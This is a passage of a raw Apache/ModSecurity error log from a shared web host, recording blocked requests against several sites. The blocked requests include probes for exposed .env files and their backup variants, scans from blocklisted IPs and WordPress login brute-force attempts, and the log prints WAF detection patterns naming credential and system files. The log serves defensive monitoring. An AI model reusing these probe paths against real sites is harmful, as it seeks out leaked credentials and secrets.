https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:16:38.486535 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:16:38.620688 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.100:37449] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:38.621109 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.100:37449] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:39.005164 2026] [access_compat:error] [pid 648189:tid 648264] [remote 57.141.14.42:48854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:39.005602 2026] [access_compat:error] [pid 648189:tid 648264] [remote 57.141.14.42:48854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:39.041516 2026] [security2:error] [pid 646876:tid 646939] [remote 57.141.14.52:27322] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3y59yTkdrNlD40tSGqJwAAWTw"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=402&_wpnonce=8d149de2a5&add-to-cart=378 [Sat Jun 13 18:16:39.062984 2026] [security2:error] [pid 648189:tid 648348] [remote 17.241.227.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y51WSojQL4F7upKBeTgAAjH0"] [Sat Jun 13 18:16:39.093964 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:16:39.094418 2026] [access_compat:error] [pid 646876:tid 646917] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:16:39.133136 2026] [security2:error] [pid 648189:tid 648449] [client 185.177.72.9:37036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/api/info.php"] [unique_id "ai3y51WSojQL4F7upKBeVAAAAOM"] [Sat Jun 13 18:16:39.135496 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.9:24686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:39.135981 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.9:24686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:39.190502 2026] [security2:error] [pid 648189:tid 648242] [remote 17.241.75.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y51WSojQL4F7upKBeVQAAtxU"] [Sat Jun 13 18:16:39.397743 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.56:22306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:39.398172 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.56:22306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:39.399027 2026] [security2:error] [pid 646876:tid 647089] [client 207.241.173.18:20404] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local.copy"] [unique_id "ai3y59yTkdrNlD40tSGqOgAAAFE"] [Sat Jun 13 18:16:39.400481 2026] [security2:error] [pid 646876:tid 647132] [client 207.241.173.18:20418] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production.backup"] [unique_id "ai3y59yTkdrNlD40tSGqOwAAAHw"] [Sat Jun 13 18:16:39.400805 2026] [security2:error] [pid 648189:tid 648405] [client 207.241.173.18:20390] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local.swp"] [unique_id "ai3y51WSojQL4F7upKBeYwAAALg"] [Sat Jun 13 18:16:39.400930 2026] [security2:error] [pid 648189:tid 648476] [client 207.241.173.18:20324] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.swp"] [unique_id "ai3y51WSojQL4F7upKBeXQAAAPo"] [Sat Jun 13 18:16:39.400930 2026] [security2:error] [pid 648189:tid 648391] [client 207.241.173.18:20458] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production.orig"] [unique_id "ai3y51WSojQL4F7upKBeYAAAAKs"] [Sat Jun 13 18:16:39.401346 2026] [security2:error] [pid 648189:tid 648478] [client 207.241.173.18:20376] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local~"] [unique_id "ai3y51WSojQL4F7upKBeYQAAAPw"] [Sat Jun 13 18:16:39.401613 2026] [security2:error] [pid 648189:tid 648440] [client 207.241.173.18:20406] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production.bak"] [unique_id "ai3y51WSojQL4F7upKBeZAAAANs"] [Sat Jun 13 18:16:39.401814 2026] [security2:error] [pid 648189:tid 648389] [client 207.241.173.18:20402] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local.orig"] [unique_id "ai3y51WSojQL4F7upKBeYgAAAKk"] [Sat Jun 13 18:16:39.554327 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:16:39.554793 2026] [access_compat:error] [pid 646876:tid 646978] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDYvcG93ZXI= [Sat Jun 13 18:16:39.556521 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.21:62959] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:39.556964 2026] [access_compat:error] [pid 648189:tid 648310] [remote 57.141.14.21:62959] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:39.603854 2026] [security2:error] [pid 648189:tid 648443] [client 207.241.173.18:20318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env~"] [unique_id "ai3y51WSojQL4F7upKBebwAAAN0"] [Sat Jun 13 18:16:39.605235 2026] [security2:error] [pid 646876:tid 647017] [client 207.241.173.18:20330] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.copy"] [unique_id "ai3y59yTkdrNlD40tSGqQgAAAAk"] [Sat Jun 13 18:16:39.605237 2026] [security2:error] [pid 646876:tid 647103] [client 207.241.173.18:20352] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local.backup"] [unique_id "ai3y59yTkdrNlD40tSGqQwAAAF8"] [Sat Jun 13 18:16:39.605287 2026] [security2:error] [pid 646876:tid 647096] [client 207.241.173.18:20326] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.orig"] [unique_id "ai3y59yTkdrNlD40tSGqRAAAAFg"] [Sat Jun 13 18:16:39.605406 2026] [security2:error] [pid 646876:tid 647037] [client 207.241.173.18:20342] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local.bak"] [unique_id "ai3y59yTkdrNlD40tSGqRgAAAB0"] [Sat Jun 13 18:16:39.605936 2026] [security2:error] [pid 646876:tid 647112] [client 207.241.173.18:20348] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.local.old"] [unique_id "ai3y59yTkdrNlD40tSGqRQAAAGg"] [Sat Jun 13 18:16:39.612816 2026] [security2:error] [pid 648189:tid 648276] [remote 17.246.15.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y51WSojQL4F7upKBecQAA_TY"] [Sat Jun 13 18:16:39.821917 2026] [security2:error] [pid 648189:tid 648227] [remote 217.160.212.27:53416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.212.160.217.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "corinthe-rizvi.com"] [uri "/wp-login.php"] [unique_id "ai3y51WSojQL4F7upKBeegAA1wc"] [Sat Jun 13 18:16:39.855522 2026] [security2:error] [pid 648189:tid 648398] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/api/src/.env"] [unique_id "ai3y51WSojQL4F7upKBefAAAALI"] [Sat Jun 13 18:16:39.996747 2026] [security2:error] [pid 648189:tid 648356] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/api/v1/.env"] [unique_id "ai3y51WSojQL4F7upKBegAAAAIg"] [Sat Jun 13 18:16:40.075906 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:16:40.076341 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:16:40.084760 2026] [security2:error] [pid 646876:tid 647066] [client 207.241.173.18:20440] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production~"] [unique_id "ai3y6NyTkdrNlD40tSGqWgAAADo"] [Sat Jun 13 18:16:40.087233 2026] [security2:error] [pid 646876:tid 647081] [client 207.241.173.18:20412] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production.old"] [unique_id "ai3y6NyTkdrNlD40tSGqWwAAAEk"] [Sat Jun 13 18:16:40.087234 2026] [security2:error] [pid 646876:tid 647052] [client 207.241.173.18:20442] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production.swp"] [unique_id "ai3y6NyTkdrNlD40tSGqXAAAACw"] [Sat Jun 13 18:16:40.193634 2026] [security2:error] [pid 648189:tid 648261] [remote 17.241.227.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y6FWSojQL4F7upKBehQAA9yc"] [Sat Jun 13 18:16:40.218488 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.74:39138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:40.218922 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.74:39138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:40.282735 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/api/v2/.env"] [unique_id "ai3y6FWSojQL4F7upKBeiQAAAMs"] [Sat Jun 13 18:16:40.343060 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.22:43846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:40.343490 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.22:43846] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:40.428078 2026] [security2:error] [pid 648189:tid 648409] [client 185.177.72.9:37044] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/apis/.env"] [unique_id 